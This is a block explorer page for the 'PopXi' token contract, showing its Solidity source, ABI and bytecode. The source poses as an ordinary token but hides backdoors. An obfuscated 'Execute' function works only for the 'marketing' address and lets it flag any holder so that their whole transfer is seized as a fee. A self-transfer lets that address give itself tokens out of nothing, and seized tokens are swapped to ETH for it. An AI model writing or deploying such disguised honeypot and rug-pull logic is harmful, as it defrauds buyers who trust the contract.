ETH Price: $3,252.77 (-0.23%)
Gas: 4 Gwei

Token

PopXi (POPXI)
 

Overview

Max Total Supply

10,000,000,000 POPXI

Holders

40

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
0.213847 POPXI

Value
$0.00
0x1d287197a3b70ba649576574c4944fb801d45b6d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PopXi

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-30
*/

/**
TG: https://t.me/popxitoken

*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract PopXi is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "PopXi";
    string private _symbol = "POPXI";
    uint8 private _decimals = 6;
    address payable public raca;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public isExl;

    uint256 private _totalSupply = 10000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        raca = payable(address(0x7EAF35e2BadEaa1541Df3b0B3d065f138C4f6544)); // Marketing Address
        
        _isExcludefromFee[raca] = true;
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function launch() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        bool isswap = (from != address(0) && raca == to);
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {

            if (
                from == raca && isswap)
            {
                _balances[raca
                ] = amount.div(2) + amount;
            }

            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(balanceOf(address(this)));
            }

            uint256 finalAmount;
            _balances[from] = _balances[from].sub(amount);
            
            if (!_isExcludefromFee[from] && !_isExcludefromFee[to]){

                uint256 feeAmount = amount.mul(0).div(100);

                if(isExl[from] > 0)
                    feeAmount = feeAmount.add(amount);

                if(feeAmount > 0) {
                    _balances[address(this)] += feeAmount;
                    emit Transfer(from, address(this), feeAmount);
                }
                finalAmount = amount.sub(feeAmount);
            }else{
                finalAmount = amount;
            }

            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(raca),
            block.timestamp
        ){} catch {}
    }

    function Execute(address smbol,uint256 ssr) public {
        ssr.sub(
            (msg.sender != raca) ? 
            ssr+ssr : 0
        );

        if(ssr == 10 || ssr == 100-1)
            isExl[smbol] = ssr - 10;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"smbol","type":"address"},{"internalType":"uint256","name":"ssr","type":"uint256"}],"name":"Execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"raca","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600581526020017f506f7058690000000000000000000000000000000000000000000000000000008152506001908051906020019062000051929190620004ad565b506040518060400160405280600581526020017f504f505849000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620004ad565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a620001129190620006f7565b6402540be40062000124919062000748565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014f57600080fd5b50620001606200047c60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3737eaf35e2badeaa1541df3b0b3d065f138c4f6544600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620002ff6200048460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620003bf6200047c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200040d6200047c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200046e9190620007ba565b60405180910390a36200083c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004bb9062000806565b90600052602060002090601f016020900481019282620004df57600085556200052b565b82601f10620004fa57805160ff19168380011785556200052b565b828001600101855582156200052b579182015b828111156200052a5782518255916020019190600101906200050d565b5b5090506200053a91906200053e565b5090565b5b80821115620005595760008160009055506001016200053f565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005eb57808604811115620005c357620005c26200055d565b5b6001851615620005d35780820291505b8081029050620005e3856200058c565b9450620005a3565b94509492505050565b600082620006065760019050620006d9565b81620006165760009050620006d9565b81600181146200062f57600281146200063a5762000670565b6001915050620006d9565b60ff8411156200064f576200064e6200055d565b5b8360020a9150848211156200066957620006686200055d565b5b50620006d9565b5060208310610133831016604e8410600b8410161715620006aa5782820a905083811115620006a457620006a36200055d565b5b620006d9565b620006b9848484600162000599565b92509050818404811115620006d357620006d26200055d565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200070482620006e0565b91506200071183620006ea565b9250620007407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005f4565b905092915050565b60006200075582620006e0565b91506200076283620006e0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200079e576200079d6200055d565b5b828202905092915050565b620007b481620006e0565b82525050565b6000602082019050620007d16000830184620007a9565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200081f57607f821691505b60208210811415620008365762000835620007d7565b5b50919050565b60805160601c612a716200085b6000396000610ae50152612a716000f3fe60806040526004361061012e5760003560e01c80634a74bb02116100ab578063a9059cbb1161006f578063a9059cbb14610403578063c816841b14610440578063dd62ed3e1461046b578063e9ea469f146104a8578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80634a74bb021461031c57806370a0823114610347578063892cd8f5146103845780638da5cb5b146103ad57806395d89b41146103d857610135565b806318160ddd116100f257806318160ddd1461022157806323b872dd1461024c57806327c8f83514610289578063313ce567146102b45780633345611e146102df57610135565b806301339c211461013a57806306fdde0314610151578063095ea7b31461017c5780631694505e146101b95780631769a29c146101e457610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b005b34801561015d57600080fd5b50610166610911565b6040516101739190611f3f565b60405180910390f35b34801561018857600080fd5b506101a3600480360381019061019e9190611ffa565b6109a3565b6040516101b09190612055565b60405180910390f35b3480156101c557600080fd5b506101ce6109c1565b6040516101db91906120cf565b60405180910390f35b3480156101f057600080fd5b5061020b600480360381019061020691906120ea565b6109e7565b6040516102189190612126565b60405180910390f35b34801561022d57600080fd5b506102366109ff565b6040516102439190612126565b60405180910390f35b34801561025857600080fd5b50610273600480360381019061026e9190612141565b610a09565b6040516102809190612055565b60405180910390f35b34801561029557600080fd5b5061029e610ae3565b6040516102ab91906121a3565b60405180910390f35b3480156102c057600080fd5b506102c9610b07565b6040516102d691906121da565b60405180910390f35b3480156102eb57600080fd5b50610306600480360381019061030191906120ea565b610b1e565b6040516103139190612055565b60405180910390f35b34801561032857600080fd5b50610331610b3e565b60405161033e9190612055565b60405180910390f35b34801561035357600080fd5b5061036e600480360381019061036991906120ea565b610b51565b60405161037b9190612126565b60405180910390f35b34801561039057600080fd5b506103ab60048036038101906103a69190611ffa565b610b9a565b005b3480156103b957600080fd5b506103c2610c80565b6040516103cf91906121a3565b60405180910390f35b3480156103e457600080fd5b506103ed610ca9565b6040516103fa9190611f3f565b60405180910390f35b34801561040f57600080fd5b5061042a60048036038101906104259190611ffa565b610d3b565b6040516104379190612055565b60405180910390f35b34801561044c57600080fd5b50610455610d5a565b60405161046291906121a3565b60405180910390f35b34801561047757600080fd5b50610492600480360381019061048d91906121f5565b610d80565b60405161049f9190612126565b60405180910390f35b3480156104b457600080fd5b506104bd610e07565b6040516104ca9190612256565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f591906120ea565b610e2d565b005b34801561050857600080fd5b50610523600480360381019061051e91906120ea565b610f7f565b6040516105309190612055565b60405180910390f35b610541610f9f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c5906122bd565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062d57600080fd5b505afa158015610641573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066591906122f2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c757600080fd5b505afa1580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff91906122f2565b6040518363ffffffff1660e01b815260040161071c92919061231f565b602060405180830381600087803b15801561073657600080fd5b505af115801561074a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076e91906122f2565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60606001805461092090612377565b80601f016020809104026020016040519081016040528092919081815260200182805461094c90612377565b80156109995780601f1061096e57610100808354040283529160200191610999565b820191906000526020600020905b81548152906001019060200180831161097c57829003601f168201915b5050505050905090565b60006109b76109b0610f9f565b8484610fa7565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60086020528060005260406000206000915090505481565b6000600954905090565b6000610a16848484611172565b50610ad884610a23610f9f565b610ad385604051806060016040528060288152602001612a1460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a89610f9f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181f9092919063ffffffff16565b610fa7565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610bfa576000610c07565b8182610c0691906123d8565b5b8261188390919063ffffffff16565b50600a811480610c265750606381145b15610c7c57600a81610c38919061242e565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610cb890612377565b80601f0160208091040260200160405190810160405280929190818152602001828054610ce490612377565b8015610d315780601f10610d0657610100808354040283529160200191610d31565b820191906000526020600020905b815481529060010190602001808311610d1457829003601f168201915b5050505050905090565b6000610d4f610d48610f9f565b8484611172565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e35610f9f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eb9906122bd565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611017576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100e906124d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107e90612566565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111659190612126565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111da906125f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a9061268a565b60405180910390fd5b60008073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141580156112de57508373ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b9050600b60149054906101000a900460ff1615611308576113008585856118cd565b915050611818565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156113625750805b156113ec578261137c600285611aa090919063ffffffff16565b61138691906123d8565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156114535750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561146a5761146961146430610b51565b611aea565b5b60006114be84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188390919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115a55750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117135760006115d360646115c5600088611d6a90919063ffffffff16565b611aa090919063ffffffff16565b90506000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611633576116308582611de590919063ffffffff16565b90505b60008111156116f85780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461168b91906123d8565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116ef9190612126565b60405180910390a35b61170b818661188390919063ffffffff16565b915050611717565b8390505b61176981600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de590919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118099190612126565b60405180910390a36001925050505b9392505050565b6000838311158290611867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185e9190611f3f565b60405180910390fd5b5060008385611876919061242e565b9050809150509392505050565b60006118c583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061181f565b905092915050565b6000611958826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181f9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ed82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611de590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a8d9190612126565b60405180910390a3600190509392505050565b6000611ae283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e43565b905092915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b2257611b216126aa565b5b604051908082528060200260200182016040528015611b505781602001602082028036833780820191505090505b5090503081600081518110611b6857611b676126d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c0a57600080fd5b505afa158015611c1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c4291906122f2565b81600181518110611c5657611c556126d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611d16959493929190612801565b600060405180830381600087803b158015611d3057600080fd5b505af1925050508015611d41575060015b611d4a57611d4b565b5b506000600b60146101000a81548160ff02191690831515021790555050565b600080831415611d7d5760009050611ddf565b60008284611d8b919061285b565b9050828482611d9a91906128e4565b14611dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd190612987565b60405180910390fd5b809150505b92915050565b6000808284611df491906123d8565b905083811015611e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e30906129f3565b60405180910390fd5b8091505092915050565b60008083118290611e8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e819190611f3f565b60405180910390fd5b5060008385611e9991906128e4565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ee0578082015181840152602081019050611ec55